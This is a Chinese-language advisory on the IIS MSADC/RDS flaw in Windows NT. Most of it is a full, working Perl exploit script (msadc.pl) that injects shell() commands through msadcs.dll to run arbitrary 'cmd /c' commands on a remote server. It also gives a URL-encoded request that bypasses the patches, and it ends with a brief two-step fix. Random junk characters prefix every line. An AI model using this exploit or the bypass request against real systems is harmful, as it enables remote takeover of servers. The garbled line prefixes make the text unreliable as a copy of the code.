IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1edeV48{: )YtdU(^J$ 涉及程序:
kBRy(?Mft& Microsoft NT server
j>}<FW-N 6h5,XcO4 描述:
6>X9|w 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5DI&pR1eZ <>Nq]WqA 详细:
>" &&,~ 如果你没有时间读详细内容的话,就删除:
mRECdGst c:\Program Files\Common Files\System\Msadc\msadcs.dll
6EX_IDb 有关的安全问题就没有了。
NwISf i$z).S?1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
hhM?I$t: /c&;WlE/n 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
"PK`Ca@`v 关于利用ODBC远程漏洞的描述,请参看:
|z+K]R8_ sTb@nrRxH http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oEuV&m|yX :L6,=# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ru#CywK{{; http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7 {n>0@_ X!AD]sK 这里不再论述。
GyVRe]<>B >Oz~j>jL 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>jBa xoYaL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
G@N-+ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
a,YU)v^ ru 5T0w";V O$K?2- #将下面这段保存为txt文件,然后: "perl -x 文件名"
L'@@ewA tLD(%s_ #!perl
h{Zd, 9H #
gK6_vS4K) # MSADC/RDS 'usage' (aka exploit) script
m%p;>:"R #
pR,eus;8 # by rain.forest.puppy
H wu(} #
79bt%P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!8Mi+ZV # beta test and find errors!
9R1S20O u&npUw^Va use Socket; use Getopt::Std;
p(8[n^~,i getopts("e:vd:h:XR", \%args);
"%?$BoJR0 +vSp+X1E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M,R**z YM`I&!n if (!defined $args{h} && !defined $args{R}) {
5ieF8F% print qq~
OngUZMgdb Usage: msadc.pl -h <host> { -d <delay> -X -v }
^rX5C2}G\D -h <host> = host you want to scan (ip or domain)
Yo^9Y@WDW -d <seconds> = delay between calls, default 1 second
fhp+Ep!0Y -X = dump Index Server path table, if available
VmbfwHRWb -v = verbose
R/|2s -e = external dictionary file for step 5
+p\+15 DQ{"6- Or a -R will resume a command session
@krh <T6| tm#[. ~; exit;}
=*\(Y(0 tDQo1,(oY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
z"PU`v if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Vgg'5o&. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
C
U 8s* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
: 6|nXL
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
j
+u3VP if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i9O;D* tT`{xM if (!defined $args{R}){ $ret = &has_msadc;
~1g)4g~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/f Ui2[y Mf_urbp] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*vS)aRK . "cmd /c ";
Ts c2;I $in=<STDIN>; chomp $in;
:vWixgLg $command="cmd /c " . $in ;
6qYK"^+xu p8bAz if (defined $args{R}) {&load; exit;}
|3K]>Lio J*zm*~8\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-q")qNt. &try_btcustmr;
_2Hehw 8HxtmFqG print "\nStep 2: Trying to make our own DSN...";
pY"&=I79tb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
L8.u7(-# zYZ^/7) print "\nStep 3: Trying known DSNs...";
A`
)A=L &known_dsn;
eZ`x[g%1 qQ^bUpk0 print "\nStep 4: Trying known .mdbs...";
FS^ie|8{D- &known_mdb;
)>+J`NFa *{1]b_< if (defined $args{e}){
Cu-z`.#}R print "\nStep 5: Trying dictionary of DSN names...";
^>/] Qi &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
o7^u@*"F Hr}pO"% print "Sorry Charley...maybe next time?\n";
*;!p#qL exit;
c[zaYcbl t}m"rMbt ##############################################################################
@S#Ls="G i0py5Q sub sendraw { # ripped and modded from whisker
:kw14?]_ sleep($delay); # it's a DoS on the server! At least on mine...
9|5>?'CqP my ($pstr)=@_;
(+w.?l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{Ip)%uR die("Socket problems\n");
g( -}M` if(connect(S,pack "SnA4x8",2,80,$target)){
;:4PT~\* select(S); $|=1;
Z0!yTM/C print $pstr; my @in=<S>;
cK _:?G select(STDOUT); close(S);
nZP%Z=p7 return @in;
97-=Vb } else { die("Can't connect...\n"); }}
9Lp[y%{GP =cKrp' ##############################################################################
5lYzgt-oP .~Y%
AI sub make_header { # make the HTTP request
VU ,tCTXz my $msadc=<<EOT
i8 fUzg) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+~l`rJ User-Agent: ACTIVEDATA
wpS $- Host: $ip
MgG_D6tDM Content-Length: $clen
Ua\<oD79] Connection: Keep-Alive
aX,ux9# k`;&?? ADCClientVersion:01.06
_ H$^m#h Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y1*z,"dx GkYD:o=qx --!ADM!ROX!YOUR!WORLD!
YM4njkI7 Content-Type: application/x-varg
Q~>="Yiu Content-Length: $reqlen
T*v@hbJ b_%W*Q EOT
u.R ; $msadc=~s/\n/\r\n/g;
p({)ZU3 return $msadc;}
y -
Ge"mY _;8+L\ ##############################################################################
yE>f.|( $,DX^I%! sub make_req { # make the RDS request
<F#/wU^9 my ($switch, $p1, $p2)=@_;
f3M~2jbv'p my $req=""; my $t1, $t2, $query, $dsn;
kf>L 6S6E
1~ if ($switch==1){ # this is the btcustmr.mdb query
^_o9%)RL( $query="Select * from Customers where City=" . make_shell();
F]k$O $)0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
zbyJ5~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<lFQ4<"m #`Gh8n# elsif ($switch==2){ # this is general make table query
Zg2F%f$Y $query="create table AZZ (B int, C varchar(10))";
QJKVNOo $dsn="$p1";}
mvrg!/0w Yh9fIRR elsif ($switch==3){ # this is general exploit table query
dd|/I1 $query="select * from AZZ where C=" . make_shell();
T*ir Ce $dsn="$p1";}
w$)E#|i &Dw8GU}1 elsif ($switch==4){ # attempt to hork file info from index server
?~fuMy B $query="select path from scope()";
hY^-kdQ>M $dsn="Provider=MSIDXS;";}
{nyVC%@Y elw}(l<F elsif ($switch==5){ # bad query
E])X$:P? $query="select";
dt=5 Pnf[y $dsn="$p1";}
dX>l"))yR 2%oo.?!R $t1= make_unicode($query);
m(c5g[6nO $t2= make_unicode($dsn);
e Zb8x $req = "\x02\x00\x03\x00";
3t^r;b $req.= "\x08\x00" . pack ("S1", length($t1));
L?~-<k $req.= "\x00\x00" . $t1 ;
j_Z"= $req.= "\x08\x00" . pack ("S1", length($t2));
^d[s*,i? $req.= "\x00\x00" . $t2 ;
$IB>a $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6D n[9V return $req;}
+(9qAB7 Y/aNrIK7 ##############################################################################
H;nq4;^yK }iF"&b0n" sub make_shell { # this makes the shell() statement
vJE>H4qPmD return "'|shell(\"$command\")|'";}
Gkq<?q({t d}e/f)( ##############################################################################
J;S@Q/s 5qW*/ sub make_unicode { # quick little function to convert to unicode
v\ gCgx=%j my ($in)=@_; my $out;
-+#g.1UL/ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
)/1,Ogb%_ return $out;}
Z-BPC|e K;}h
u(*\] ##############################################################################
|Y42ZOK0 <^,5z!z} sub rdo_success { # checks for RDO return success (this is kludge)
I];Hx'/<~ my (@in) = @_; my $base=content_start(@in);
-A A='s if($in[$base]=~/multipart\/mixed/){
Axtf,x+lH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R9B !F{! 5 return 0;}
3"OD" q>X%MN y ##############################################################################
bWAVBF qp@:Zqz8 sub make_dsn { # this makes a DSN for us
wt@q+9: my @drives=("c","d","e","f");
{}TR'Y4 print "\nMaking DSN: ";
I!;LT+b foreach $drive (@drives) {
&bO0Rn1F print "$drive: ";
;v? !Pml2k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y)=89s&t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HBc^[fJ^- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8}0O @ wq $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
jLEwFPz return 0 if $2 eq "404"; # not found/doesn't exist
]c \gUU if($2 eq "200") {
utz!ElzA foreach $line (@results) {
c%+9uu3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5YG?m{hyn_ } return 0;}
,.ln Y:0SrB!\ ##############################################################################
qq+fUfB2: 3B<$6 sub verify_exists {
j+c<0,Kj my ($page)=@_;
h6dVT9 my @results=sendraw("GET $page HTTP/1.0\n\n");
3Hli^9&OX_ return $results[0];}
^BruRgc+ ~X/1% ##############################################################################
`<C/-Au B0^0d*8t|@ sub try_btcustmr {
i-b++R/WN my @drives=("c","d","e","f");
7xOrG],E my @dirs=("winnt","winnt35","winnt351","win","windows");
wER>a ( JKkR963 O foreach $dir (@dirs) {
P*#H]Pv print "$dir -> "; # fun status so you can see progress
yBPaGZ{f foreach $drive (@drives) {
C>qKKLZ print "$drive: "; # ditto
d2x|PpmH $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[Pu~kiN $reqlenlen=length( "$reqlen" );
q,JMmhWaT $clen= 206 + $reqlenlen + $reqlen;
L.[ H
0.~Pzg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w6fVZY4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!6pOY*> j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FX FTf2*T xsx
@aF ##############################################################################
62&(+'$n Ew=8"V`C sub odbc_error {
1r?<1vh:z my (@in)=@_; my $base;
|8$x my $base = content_start(@in);
(= H%VXQH if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?dukK3u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TvE M{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i'5Q.uX $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_U.D*f<3) return $in[$base+4].$in[$base+5].$in[$base+6];}
n+M:0{Y| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pr8eRV!x print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dooS|Mq $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ocq.<#||H 2z7+@!w/ ##############################################################################
);wSay>%( DAG2pc8zA sub verbose {
?=B$-)/ my ($in)=@_;
#cqia0.H return if !$verbose;
gc 14 % print STDOUT "\n$in\n";}
Hb KJ&^ gL(ny/Ob9 ##############################################################################
-,Q
!: W27EU/+3 sub save {
iw\RQ
0 my ($p1, $p2, $p3, $p4)=@_;
ec:?Q0 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ISI\<qx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
0sv#* &0= close OUT;}
;^}gC}tq a a=GW% ##############################################################################
0Ii*
"?s G}d-L!YbE' sub load {
r=<Oy1m/ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fQ5VRpWGn open(IN,"<rds.save") || die("Couldn't open rds.save\n");
1nb]~{l @p=<IN>; close(IN);
l@a>"\><i* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:=BFx"Y $target= inet_aton($ip) || die("inet_aton problems");
9Xt5{\PJ print "Resuming to $ip ...";
ErK5iTSD $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-aDGXQM{~ if($p[1]==1) {
/vi>@a $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ugEh}3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wuCiO;w my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^[noGjy if (rdo_success(@results)){print "Success!\n";}
84UH&
b'n else { print "failed\n"; verbose(odbc_error(@results));}}
G};os+FxF elsif ($p[1]==3){
+_tK \MN if(run_query("$p[3]")){
$R3]y9`? print "Success!\n";} else { print "failed\n"; }}
P%A^TD| elsif ($p[1]==4){
`Ym7XF& if(run_query($drvst . "$p[3]")){
epsh&)5a* print "Success!\n"; } else { print "failed\n"; }}
4=S.U`t7 exit;}
_-$"F> lCBb0k2 ##############################################################################
?(el6 J} %|$h<~ sub create_table {
B]dvX my ($in)=@_;
tCAh?nR $reqlen=length( make_req(2,$in,"") ) - 28;
6eqxwj{S[ $reqlenlen=length( "$reqlen" );
<(dHh9$~ $clen= 206 + $reqlenlen + $reqlen;
&v7$*n27 my @results=sendraw(make_header() . make_req(2,$in,""));
cXiNO
ke& return 1 if rdo_success(@results);
:?%$={m my $temp= odbc_error(@results); verbose($temp);
Hn5:*;N return 1 if $temp=~/Table 'AZZ' already exists/;
l2"{uCcA return 0;}
+jePp_3$O
")MjR1p ##############################################################################
.5*h']iFr1 =*7K_M& sub known_dsn {
)mw#MTv<[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
+:3K?G- my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-&JUg
o= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
t{#Btd "banner", "banners", "ads", "ADCDemo", "ADCTest");
FS7 _ldD JsohhkJNGi foreach $dSn (@dsns) {
cRPW
print ".";
F.2<G.9 next if (!is_access("DSN=$dSn"));
G.Z:00x if(create_table("DSN=$dSn")){
3 f=_F print "$dSn successful\n";
.UF]( if(run_query("DSN=$dSn")){
BbEWa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"c8
-xG print "Something's borked. Use verbose next time\n";}}} print "\n";}
n,hl6[O L7 8yEN)RqI ##############################################################################
%UDz4?zx o2 sub is_access {
XKD0n^L[ my ($in)=@_;
h.PVR Awk $reqlen=length( make_req(5,$in,"") ) - 28;
`)Z"||8K $reqlenlen=length( "$reqlen" );
J jRz<T; $clen= 206 + $reqlenlen + $reqlen;
f%fD>a my @results=sendraw(make_header() . make_req(5,$in,""));
h>AK^fX my $temp= odbc_error(@results);
fgrflW$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
wVU.j$+_# return 0;}
K.s\xA5`_ EXDZehLD<] ##############################################################################
Bw
_^"e8X 'B dZN sub run_query {
&[u%ZL my ($in)=@_;
U$+EUDFi3_ $reqlen=length( make_req(3,$in,"") ) - 28;
~d]X@(G& $reqlenlen=length( "$reqlen" );
jFbj)!; $clen= 206 + $reqlenlen + $reqlen;
h3-y}.VjG my @results=sendraw(make_header() . make_req(3,$in,""));
Bx9R!u5D return 1 if rdo_success(@results);
"M#A `b my $temp= odbc_error(@results); verbose($temp);
jdz]+Q`jq return 0;}
GCaiogiBg m)l<2`CM ##############################################################################
B:Y"X:Y O@*^2, 6 sub known_mdb {
oasp/Y.p my @drives=("c","d","e","f","g");
1vKAJ<4W my @dirs=("winnt","winnt35","winnt351","win","windows");
1iNq|~ my $dir, $drive, $mdb;
Qh*"B my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
En01LrC? {m%]`0 # this is sparse, because I don't know of many
{k
BHZ$/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
T<:mG%Is "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9e5XS\ "\\system32\\certmdb.mdb",
(QS4<J" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
8t)5b.PS .V~z6 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L=g(w$H "\\cfusion\\cfapps\\forums\\forums_.mdb",
W:5uoO]=< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{A<pb{<u "\\cfusion\\cfapps\\security\\realm_.mdb",
fXNl27c- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ca )n*SD "\\cfusion\\database\\cfexamples.mdb",
u^2)oL "\\cfusion\\database\\cfsnippets.mdb",
kAc8[Hn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>6yA+?[: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
C_CUk d[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
(*qMs)~]B "\\cfusion\\database\\smpolicy.mdb",
fcaUj9qN "\\cfusion\\database\cypress.mdb",
*CtWDUxSdW "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7]\_7L|>] "\\website\\cgi-win\\dbsample.mdb",
O_vCZW
a3 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
jEK{QOq0 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h{ xq ); #these are just
8v{0=9,Z foreach $drive (@drives) {
'PO+P~|oa& foreach $dir (@dirs){
M N-j$-y} foreach $mdb (@sysmdbs) {
Sq<ds}o'8l print ".";
;og[q if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
olA 1,8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m2sf]-?Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^@91BY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Hs9; &C } else { print "Something's borked. Use verbose next time\n"; }}}}}
'xK ,|U Dx1f<A1 foreach $drive (@drives) {
=74yhPAW foreach $mdb (@mdbs) {
hCpX#rg? print ".";
nDG41)| if(create_table($drv . $drive . $dir . $mdb)){
{$
a
$m print "\n" . $drive . $dir . $mdb . " successful\n";
-_`dA^ if(run_query($drv . $drive . $dir . $mdb)){
X(r$OZ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`1xJ1z# } else { print "Something's borked. Use verbose next time\n"; }}}}
\US'tF)/ }
Al93x e-&0f);i ##############################################################################
|.]g&m)y^h FdwlRu G sub hork_idx {
\d:AV(u print "\nAttempting to dump Index Server tables...\n";
5xb1FH d: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
P3e}G-Oz $reqlen=length( make_req(4,"","") ) - 28;
:"G x $reqlenlen=length( "$reqlen" );
{7F?30: ] $clen= 206 + $reqlenlen + $reqlen;
GkU]>8E'" my @results=sendraw2(make_header() . make_req(4,"",""));
:o37 V! if (rdo_success(@results)){
+cXdF my $max=@results; my $c; my %d;
1uwzo9Yg for($c=19; $c<$max; $c++){
QV%,s!_b $results[$c]=~s/\x00//g;
}c]u'a!4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
pnTuYT^%) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
PR+L6DT_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
U"T>L $d{"$1$2"}="";}
~;AJB foreach $c (keys %d){ print "$c\n"; }
cXDG(.!n7B } else {print "Index server doesn't seem to be installed.\n"; }}
K?J?]VCw f.e4 C, ##############################################################################
KtMD? V#Pz`D sub dsn_dict {
(_ TKDx_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
qA;!Pql` while(<IN>){
y+aL5$x6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b<E0|VW next if (!is_access("DSN=$dSn"));
9JtPP if(create_table("DSN=$dSn")){
(~U1X4 print "$dSn successful\n";
^`*p;&(K\^ if(run_query("DSN=$dSn")){
'Dx_n7&= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T GuvyY print "Something's borked. Use verbose next time\n";}}}
B[IqLD'6 print "\n"; close(IN);}
Z*Lv!6WS h*lU&8)m\ ##############################################################################
uP.[,V0@^ cedH#;V!j sub sendraw2 { # ripped and modded from whisker
]"X} FU sleep($delay); # it's a DoS on the server! At least on mine...
p E56CM my ($pstr)=@_;
[g Y.h/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
k62KZ5| D die("Socket problems\n");
lm[LDtc if(connect(S,pack "SnA4x8",2,80,$target)){
8|2I/#F}] print "Connected. Getting data";
}uo.N open(OUT,">raw.out"); my @in;
4xsnN@b select(S); $|=1; print $pstr;
r1]DkX <6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
j0(+Kq:J close(OUT); select(STDOUT); close(S); return @in;
^v+7IFn } else { die("Can't connect...\n"); }}
^`f( Pg! wK*b2r}0/ ##############################################################################
0(h'ZV egHvI&w"o sub content_start { # this will take in the server headers
n[c/L8j my (@in)=@_; my $c;
&{=`g+4n for ($c=1;$c<500;$c++) {
uzO3 _.4Y if($in[$c] =~/^\x0d\x0a/){
~=Q|EhF5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
p}K\rpvJpu else { return $c+1; }}}
$ 0Up. return -1;} # it should never get here actually
s9.nU O8<@+xlX ##############################################################################
2E/yZ ~2s P$hmDTn72 sub funky {
o4d[LV4DS my (@in)=@_; my $error=odbc_error(@in);
yS";
q if($error=~/ADO could not find the specified provider/){
|)pgUI2O[ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
gU%R9 exit;}
fs3jPHZJ# if($error=~/A Handler is required/){
}DzN-g<K print "\nServer has custom handler filters (they most likely are patched)\n";
1 GB exit;}
i9B1/?^W& if($error=~/specified Handler has denied Access/){
;sZHE&+ print "\nServer has custom handler filters (they most likely are patched)\n";
mEVne.D exit;}}
Q"D%xY M].D27 ##############################################################################
?]Z EK8c bA*T1Db,t> sub has_msadc {
O ]Stf7]%; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
O~u@J'4 my $base=content_start(@results);
'boAv%1_sa return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nv-_\M return 0;}
+jrMvk" c
;@k\6 ########################
YA'_Ba(v) jb
{5
mj^]e/s% 解决方案:
n<3*7/- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
h_?#.z0ih; 2、移除web 目录: /msadc